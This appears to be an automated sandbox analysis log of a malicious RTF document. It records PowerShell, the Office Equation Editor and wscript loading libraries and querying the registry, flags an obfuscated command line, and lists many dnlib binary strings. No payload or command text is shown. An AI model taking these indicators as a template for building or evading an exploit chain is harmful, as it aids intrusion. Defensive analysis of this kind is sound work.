Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Source: IFqsFpijFt.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\IFqsFpijFt.rtf

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Obfuscated command line found

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
